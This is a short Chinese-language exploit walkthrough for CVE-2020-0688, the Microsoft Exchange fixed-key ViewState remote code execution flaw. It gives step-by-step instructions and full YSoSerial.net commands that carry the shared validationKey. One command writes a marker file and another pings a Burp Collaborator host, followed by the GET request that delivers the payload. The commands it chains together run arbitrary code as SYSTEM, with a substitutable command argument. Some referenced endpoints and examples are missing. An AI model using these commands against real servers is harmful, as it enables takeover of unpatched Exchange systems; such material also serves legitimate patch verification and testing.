[CVE-2020-0688] Microsoft Exchange Server 固定加密密钥远程代码执行 (RCE)
不是每个安装生成随机密钥,而是所有 Microsoft Exchange Server 安装都在 web.config 中拥有相同的 validationKey 和 decryptionKey 值。因此,一个经过身份验证的攻击者可以诱使服务器反序列化恶意构造的 ViewState 数据。借助 YSoSerial.net,攻击者可以在 Exchange 控制面板 (ECP) Web 应用程序的上下文中执行任意 .NET 代码,该应用程序以 SYSTEM 权限运行。
步骤 1: 访问以下端点之一并进入认证页面
步骤 2: 使用凭据登录(无论用户账户权限如何),并从 HTTP 响应 Cookie 和 HTTP 响应正文中分别获取有效的 ASP_NET_SessionId 和 __VIEWSTATEGENERATOR 值。例如
步骤 3: 为了生成 payload(以检查漏洞),使用 YSoSerial.net
请注意,如果您可以访问目标 Exchange 服务器,您可以使用以下 payload,该 payload 在 C:\ 目录下创建一个名为 PoC.txt 的文本文件
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/PoC.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
但是,如果您无法访问服务器,以下命令可能更好。
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping xxxxxxxx..burpcollaborator.net" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
步骤 4: 步骤 4 之后,我们将获得 URL 编码的 ViewState payload。按照以下格式对以下端点执行 GET 请求
http(s)://exchangeserver/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState_Payload>
原始博客文章可在此处获取:点击这里